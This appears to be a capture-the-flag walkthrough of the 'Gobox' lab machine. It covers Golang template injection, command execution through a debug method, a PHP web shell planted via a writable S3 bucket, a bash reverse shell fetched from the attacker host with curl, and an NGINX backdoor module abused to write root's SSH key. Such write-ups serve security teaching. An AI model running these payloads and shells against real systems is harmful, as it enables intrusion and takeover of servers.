Gobox is a machine that has previously been used in the Ultimate Hacking Championship (UHC) event. It starts off by enumerating two web applications, one of which is a Go web application and is vulnerable to SSTI. The SSTI can be exploited to leak credentials and these can be used to login into the web app. After logging in, the app provides its source code. The source code reveals a debug mode that allows code execution to the underlying system, which is a container. Enumeration within the container reveals that it can interact with simulated Amazon S3 and has write permission on a bucket, thus allows me to drop a web shell to gain a foothold on the host system. Further enumeration on the host reveals an NGINX backdoor which can be leveraged to escalate to root.
In the explore section, I’m (trying to) digging into the request routing of this machine.
Skills Learned
- Web enumeration
- Golang SSTI
- Source Code Analysis
- Scripting
Tools
- Nmap
- Burp Suite
Reconnaissance
Nmap
Full TCP scan using nmap
discovers three open ports: SSH on port 22, two sites on port 80 and port 8080, which are handled by NGINX.
→ kali@kali «gobox» «10.10.14.97»
$ fscan 10.10.11.113 gobox
nmap -n -p- --min-rate=10000 10.10.11.113 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,8080 -sC -sV -oA nmap/10-tcp-allport-gobox 10.10.11.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-06 21:30 EDT
Nmap scan report for 10.10.11.113
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http nginx
|_http-title: Hacking eSports | {{.Title}}
8080/tcp open http nginx
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Hacking eSports | Home page
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.82 seconds
Enumeration
TCP 80 - Website (Homepage)
The site on port 80 is a Hacking eSports homepage.
On the address bar, I added index.php
and it returned the same page, therefore I can assume it’s a PHP site. But, on the title, I noticed a templating syntax that similar to the one used in Golang, so it’s weird for me to see that syntax on PHP (I’m familiar with that syntax because this blog is based on Go).
Nothing else to see here.
TCP 8080 - Website (Login page)
On port 8080, it presents a login page. When an email and a password is submitted, it outputs nothing.
Poking with curl
shows that it has extra HTTP header: X-Forwarded-Server: golang
.
→ kali@kali «gobox» «10.10.14.97»
$ curl -s -I http://10.10.11.113:8080
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 07 Sep 2021 01:38:34 GMT
Connection: keep-alive
X-Forwarded-Server: golang
The “Forgot Password” link points to /forgot
and it’s a password reset feature. If I submit an email address there, for example admin@gobox.htb
, it reflects the address under the input box.
The following is how the HTTP request and the HTTP response look like.
Foothold
Container root
SSTI
Seeing a templating syntax and Golang in the HTTP response, I started to search some topics about SSTI in Golang, and then I came across this post. Using that post as reference and assuming that I can access a struct that has email property, I send the following payload:
email={{.Email}}
And in the response there is an email address: ippsec@hacking.esports
which means the site is vulnerable to SSTI!
When {{.}}
is submitted, it spits out all the available property values.
ippsec@hacking.esports
and ippsSecretPassword
can be used to login, and the page returns with a source code written in Go.
RCE
Examining the source code reveals that there is a function (around line 27) that allows code execution on the underlying system. The function takes one parameter called test
and passes it to the exec.Command
function.
...
func (u User) DebugCmd(test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0 {
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
...
Because it is a method of struct User
, and this struct is rendered by the template engine, therefore I can just call it directly and pass in a sequence of OS command as its arguments ({{.DebugCmd "command"}}
or {{.DebugCmd "command args"}}
). For example, {{.DebugCmd "cat /etc/passwd"}}
.
The user is root, but I found out that I’m inside a Docker container.
Based on the documentation, package html/template
has autoescaping feature, so my bash reverse shell won’t work even with double base64 encoding. Therefore, I created a Python wrapper script to leverage this code execution.
import requests
import sys
import cmd
import html
from bs4 import BeautifulSoup
# hacky curly braces
curly_op = "{{"
curly_cl = "}}"
def exploit(url, cmd):
payload = {'email': f'{curly_op} .DebugCmd "{cmd}" {curly_cl}'}
resp = requests.post(url, data=payload)
soup = BeautifulSoup(resp.text, features="lxml")
output = [tag.text for tag in soup.find_all("form")][0]
print(html.unescape((str(str(output).strip().split("Email Sent To:")[1]).split("Login")[0]).strip()))
class GoboxSSTI(cmd.Cmd):
prompt = '> '
def default(self, line):
exploit(url, line)
if __name__ == '__main__':
try:
url = sys.argv[1]
except IndexError:
sys.exit(-1)
term = GoboxSSTI()
try:
term.cmdloop()
except KeyboardInterrupt:
sys.exit(-1)
Using that wrapper, I have ability to send OS command from my CLI to the compromised container.
→ kali@kali «exploits» «10.10.14.97»
$ python3 ./gobox_ssti.py http://10.10.11.113:8080/forgot/
> id
uid=0(root) gid=0(root) groups=0(root)
> uname -a
Linux aws 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
Shell as www-data
S3 enumeration
While I was enumerating the installed binary to get a foothold on the container, I found an aws
binary.
> ls -l /usr/bin/aws
-rwxr-xr-x 1 root root 815 Jun 17 2020 /usr/bin/aws
> aws
usage: aws [options] <command> <subcommand> [<subcommand> ...] [parameters]
To see help text, you can run:
aws help
aws <command> help
aws <command> <subcommand> help
aws: error: the following arguments are required: command
I will send aws s3 ls
to list the available buckets and there is one called website
.
> aws s3 ls
2021-09-07 07:32:42 website
The bucket contains 4 files.
> aws s3 ls website
PRE css/
2021-09-07 07:32:42 1294778 bottom.png
2021-09-07 07:32:42 165551 header.png
2021-09-07 07:32:42 5 index.html
2021-09-07 07:32:42 1803 index.php
When I read the contents of index.php
file, I’m sure it’s the source code of the homepage (port 80).
> aws s3 cp s3://website/index.php /tmp/id.php
download: s3://website/index.php to ../../tmp/id.php) remaining
> cat /tmp/id.php
<!DOCTYPE html>
<htm l lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Hacking eSports | {{.Title}}</title>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
...[SNIP]...
I also find that I have write access on this bucket.
> echo '<?php phpinfo(); ?>' > /tmp/iamf.php
upload: ../../tmp/iamf.php to s3://website/iamf.phple(s) remaining
> aws s3 cp /tmp/iamf.php s3://website/
upload: ../../tmp/iamf.php to s3://website/iamf.phple(s) remaining
When I visit back the homepage and append my filename 10.10.11.113/iamf.php
, it is there and it processes the PHP code.
Also, instead of Linux aws ...
it returns with Linux gobox ...
, that means the homepage is hosted in a different system.
Webshell
This time I will upload a PHP webshell, but first I will encode the payload with base64 to avoid the bad characters.
→ kali@kali «~» «10.10.14.97»
$ echo '<?php echo "<pre>"; system($_GET[f]) ?>' | base64 -w0
PD9waHAgZWNobyAiPHByZT4iOyBzeXN0ZW0oJF9HRVRbZl0pID8+Cg==
I will send and transfer that payload to S3 via the RCE wrapper.
> echo 'PD9waHAgZWNobyAiPHByZT4iOyBzeXN0ZW0oJF9HRVRbZl0pID8+Cg==' | base64 -d > /tmp/iamf-shell.php
> aws s3 cp /tmp/iamf-shell.php s3://website/iamf-shell.php
upload: ../../tmp/iamf-shell.php to s3://website/iamf-shell.phpg
And my webshell is now accessible on the homepage site.
Reverse Shell
This system has some Linux binaries that I can use to get a foothold, one of which is curl
. First, I will craft my reverse shell script and host it afterwards.
→ kali@kali «gobox» «10.10.14.97»
$ mkrev tun0 bash | tee exploits/rce.sh
bash -c "bash -i >& /dev/tcp/10.10.14.97/53 0>&1"
On my webshell, I will grab that script and save it to target’s /tmp/
dir.
http://10.10.11.113/iamf-shell.php?f=curl%20-s%20%20http://10.10.14.97:8080/rce.sh%20%20%3E%20/tmp/rce.sh
Now I will get my listener ready and execute my reverse shell script.
On my listener:
→ kali@kali «gobox» «10.10.14.97»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.97] from (UNKNOWN) [10.10.11.113] 59898
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gobox:/opt/website$
I will do the PTY trick and upgrade my shell.
www-data@gobox:/opt/website$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@gobox:/opt/website$ ^Z
[2] + 4264 suspended nc -nvlp 53
→ kali@kali «gobox» «10.10.14.97»
$ stty raw -echo;fg
[2] - 4264 continued nc -nvlp 53
www-data@gobox:/opt/website$ export TERM=xterm
www-data@gobox:/opt/website$ stty cols 171 rows 30
It turns out that the user flag is readable by www-data
.
www-data@gobox:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
www-data@gobox:/$ ls -lR /home/ubuntu
/home/ubuntu:
total 4
-rw-r--r-- 1 root root 33 Aug 26 21:10 user.txt
www-data@gobox:/$ cat /home/ubuntu/user.txt
d6b91...[SNIP]...
Privilege Escalation
Shell as root
Enumeration
When enumerating the network connections, there are some ports that seem to be missed by my nmap
scan (I’ll look into this in the explore section).
www-data@gobox:/opt$ netstat -tlpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4566 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::9000 :::* LISTEN -
tcp6 0 0 :::9001 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN
I immediately inspected the NGINX configuration file under /etc/nginx/sites-enabled/
. There is only one file there called default
and it contains the following configurations:
# LocalStack that simulates AWS S3
server {
listen 4566 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
if ($http_authorization !~ "(.*)SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz(.*)") {
return 403;
}
proxy_pass http://127.0.0.1:9000;
}
}
# Homepage
server {
listen 80;
root /opt/website;
index index.php;
location ~ [^/]\.php(/|$) {
fastcgi_index index.php;
fastcgi_param REQUEST_METHOD $request_method;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param QUERY_STRING $query_string;
fastcgi_pass unix:/tmp/php-fpm.sock;
}
}
# Login page
server {
listen 8080;
add_header X-Forwarded-Server golang;
location / {
proxy_pass http://127.0.0.1:9001;
}
}
# unknown
server {
listen 127.0.0.1:8000;
location / {
command on;
}
}
Based on the configuration above and the docker-compose.yml
file I found under /opt/website/
, the server that listens on port 4566 is routed into the internal port 9000 which is mapped into the LocalStack container (host:4566 [with auth]->host:9000->container-localstack:4566).
To confirm that, I run another scan against port 4566, and nmap
shows that it’s open, but it’s forbidden because there is authorization check.
→ kali@kali «gobox» «10.10.14.97»
$ nmap -sV -sC -p4566 10.10.11.113
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-08 06:51 EDT
Nmap scan report for gobox.htb (10.10.11.113)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
4566/tcp open http nginx
|_http-title: 403 Forbidden
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
Since I know the correct authorization value, I can add it to the authorization header and get access to port 4566.
→ kali@kali «gobox» «10.10.14.97»
$ curl -sv http://10.10.11.113:4566/ -H 'Authorization: Basic SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz'
* Trying 10.10.11.113:4566...
* Connected to 10.10.11.113 (10.10.11.113) port 4566 (#0)
> GET / HTTP/1.1
> Host: 10.10.11.113:4566
> User-Agent: curl/7.74.0
> Accept: */*
> Authorization: Basic SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404
< Server: nginx
< Date: Thu, 09 Sep 2021 07:33:54 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< Connection: keep-alive
< access-control-allow-origin: *
< access-control-allow-methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< access-control-allow-headers: authorization,content-type,content-length,content-md5,cache-control,x-amz-content-sha256,x-amz-date,x-amz-security-token,x-amz-user-agent,x-amz-target,x-amz-acl,x-amz-version-id,x-localstack-target,x-amz-tagging,amz-sdk-invocation-id,amz-sdk-request
< access-control-expose-headers: x-amz-version-id
<
* Connection #0 to host 10.10.11.113 left intact
{"status": "running"}
As for port 80 and 8080, it’s clear that they are the homepage and the login page site.
The next one is request routing for port 8000, this is my first time to see “command on” written on NGINX’s config file.
server {
listen 127.0.0.1:8000;
location / {
command on;
}
}
When I try to interact with it, it returns nothing.
www-data@gobox:/opt$ curl -s http://127.0.0.1:8000
www-data@gobox:/opt$ curl -I http://127.0.0.1:8000
curl: (52) Empty reply from server
With nc
, it returns a “Bad Request”.
www-data@gobox:/$ nc -vn 127.0.0.1 8000
Connection to 127.0.0.1 8000 port [tcp/*] succeeded!
/
HTTP/1.1 400 Bad Request
Server: nginx
Date: Wed, 08 Sep 2021 11:13:48 GMT
Content-Type: text/html
Content-Length: 150
Connection: close
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>
If I look at the date modified of the NGINX folder, there are 6 folders that were modified on August 26 at the same time.
www-data@gobox:/etc/nginx$ ls -lt
total 64
drwxr-xr-x 2 root root 4096 Aug 26 21:26 snippets
drwxr-xr-x 2 root root 4096 Aug 26 21:26 sites-available
drwxr-xr-x 2 root root 4096 Aug 26 21:26 sites-enabled
drwxr-xr-x 2 root root 4096 Aug 26 21:26 modules-enabled
drwxr-xr-x 2 root root 4096 Aug 26 21:26 conf.d
drwxr-xr-x 2 root root 4096 Aug 26 21:26 modules-available
-rw-r--r-- 1 root root 1484 Aug 24 20:30 nginx.conf
-rw-r--r-- 1 root root 3071 Feb 4 2019 win-utf
-rw-r--r-- 1 root root 1077 Feb 4 2019 fastcgi.conf
-rw-r--r-- 1 root root 1007 Feb 4 2019 fastcgi_params
-rw-r--r-- 1 root root 2837 Feb 4 2019 koi-utf
-rw-r--r-- 1 root root 2223 Feb 4 2019 koi-win
-rw-r--r-- 1 root root 3957 Feb 4 2019 mime.types
-rw-r--r-- 1 root root 180 Feb 4 2019 proxy_params
-rw-r--r-- 1 root root 636 Feb 4 2019 scgi_params
-rw-r--r-- 1 root root 664 Feb 4 2019 uwsgi_params
When I visit the modules-enabled
folder, I find a module with a suspicious name “backdoor”!
www-data@gobox:/etc/nginx$ ls -l modules-enabled
total 12
-rw-r--r-- 1 root root 48 Aug 23 20:50 50-backdoor.conf
lrwxrwxrwx 1 root root 61 Aug 23 14:43 50-mod-http-image-filter.conf -> /usr/share/nginx/modules-available/mod-http-image-filter.conf
lrwxrwxrwx 1 root root 60 Aug 23 14:43 50-mod-http-xslt-filter.conf -> /usr/share/nginx/modules-available/mod-http-xslt-filter.conf
lrwxrwxrwx 1 root root 48 Aug 23 14:43 50-mod-mail.conf -> /usr/share/nginx/modules-available/mod-mail.conf
lrwxrwxrwx 1 root root 50 Aug 23 14:43 50-mod-stream.conf -> /usr/share/nginx/modules-available/mod-stream.conf
The module loads a .so
file called ngx_http_execute_module.so
. I found that file under /usr/lib/nginx/modules/
.
www-data@gobox:/etc/nginx$ cat modules-enabled/50-backdoor.conf
load_module modules/ngx_http_execute_module.so
www-data@gobox:/etc/nginx$ find / -type f -name "ngx_http_execute_module.so" 2>/dev/null
/usr/lib/nginx/modules/ngx_http_execute_module.so
www-data@gobox:/etc/nginx$ file /usr/lib/nginx/modules/ngx_http_execute_module.so
/usr/lib/nginx/modules/ngx_http_execute_module.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=4279ae42bf642b21378aa43c06b52f4d0b89f2ad, with debug_info, not stripped
I’m trying to find the origin of this module by grabbing some readable code using strings
. It turns out the backdoor was taken from this Github repository: NginxExecute.
→ kali@kali «loot» «10.10.14.97»
$ strings ngx_http_execute_module.so | grep '.c$'
ngx_pcalloc
__ctype_b_loc
realloc
malloc
ngxexecute_strncpy_alloc
ngxexecute_strcpy_alloc
~iHc
/home/ubuntu/NginxExecute//ngx_result.c
7src
...[SNIP]...
NGINX Backdoor
According to the README file from the repository, I just need to send a HTTP request with ?system.run[command]
, but it doesn’t work here.
www-data@gobox:/etc/nginx$ curl -v "http://127.0.0.1:8000/?system.run[whoami]"
* Trying 127.0.0.1:8000...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8000 (#0)
> GET /?system.run[ifconfig] HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/7.68.0
> Accept: */*
>
* Empty reply from server
* Connection #0 to host 127.0.0.1 left intact
curl: (52) Empty reply from server
Running another strings
command against the backdoor reveals it uses ippsec.run
.
→ kali@kali «loot» «10.10.14.97»
$ strings ngx_http_execute_module.so | grep 'run'
ippsec.run
Now if I send ?ippsec.run[whoami]
, it returns:
www-data@gobox:/etc/nginx$ curl -g "http://127.0.0.1:8000/?ippsec.run[whoami]"
root
Using the previous reverse shell script I dropped on /tmp/
, I can get an interactive shell access as root, but then the shell gets exited by itself.
So instead, I will inject my SSH public key.
www-data@gobox:/etc/nginx$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H' > /tmp/iamf
www-data@gobox:/etc/nginx$ curl -g "http://127.0.0.1:8000/?ippsec.run[cat /tmp/iamf | tee /root/.ssh/authorized_keys]"
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H
Now I can SSH login as root.
→ kali@kali «gobox» «10.10.14.97»
$ ssh root@10.10.11.113
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 08 Sep 2021 11:52:18 AM UTC
System load: 0.0
Usage of /: 37.1% of 9.72GB
Memory usage: 20%
Swap usage: 0%
Processes: 244
Users logged in: 0
IPv4 address for br-bb21b8b9b286: 172.28.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.11.113
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu Aug 26 23:56:12 2021
root@gobox:~#
I can grab the root flag as well.
root@gobox:~# ls -l
total 12
-rwxr-xr-x 1 root root 536 Aug 24 20:33 iptables.sh
-rw------- 1 root root 33 Aug 26 21:10 root.txt
drwxr-xr-x 3 root root 4096 Aug 26 21:26 snap
root@gobox:~# cat root.txt
81d35...[SNIP]...
Explore
Undetected ports
During enumeration, when I printed the networking status, I noticed that ports 9000, 9001, and 4566 should be accessible from external, with the exception that port 4566 needs an authentication header set first to be accessible.
www-data@gobox:/opt$ netstat -tlpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9001 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:4566 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp6 0 0 :::9000 :::* LISTEN -
tcp6 0 0 :::9001 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN
It turns out there is a set of iptables
rules which drop any connection coming to these ports.
root@gobox:~# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- localhost/8 anywhere
ACCEPT all -- 172.16.0.0/12 anywhere
DROP tcp -- anywhere anywhere tcp dpt:9002
DROP tcp -- anywhere anywhere tcp dpt:9001
DROP tcp -- anywhere anywhere tcp dpt:9000
...[SNIP]...
Shouldn’t it then return with filtered
status?
Well, I think it was purely my mistake. I used --min-rate=10000
, so this could be the reason nmap
misidentified the filtered port as closed.
Gobox Request Routing
The first time I looked into the NGINX configuration file, it didn’t make sense to me why my web shell is on the host OS? In fact, I uploaded my web shell to an S3 bucket, which is also a container.
Now, with root access obtained, I could understand what was happening, and there was a synchronization process between the host and the LocalStack container.
root@gobox:~# cat /var/spool/incron/root
/opt/deploy/.localstack/data/recorded_api_calls.json IN_MODIFY /usr/bin/aws --endpoint-url http://127.0.0.1:9000 s3 sync s3://website /opt/website
/home/ubuntu/user.txt IN_MODIFY cp /home/ubuntu/user.txt /var/www/
So if I upload something into the bucket, the host will have it as well.
I also looked at how the web routing is done in this box and eventually visualize it as shown below: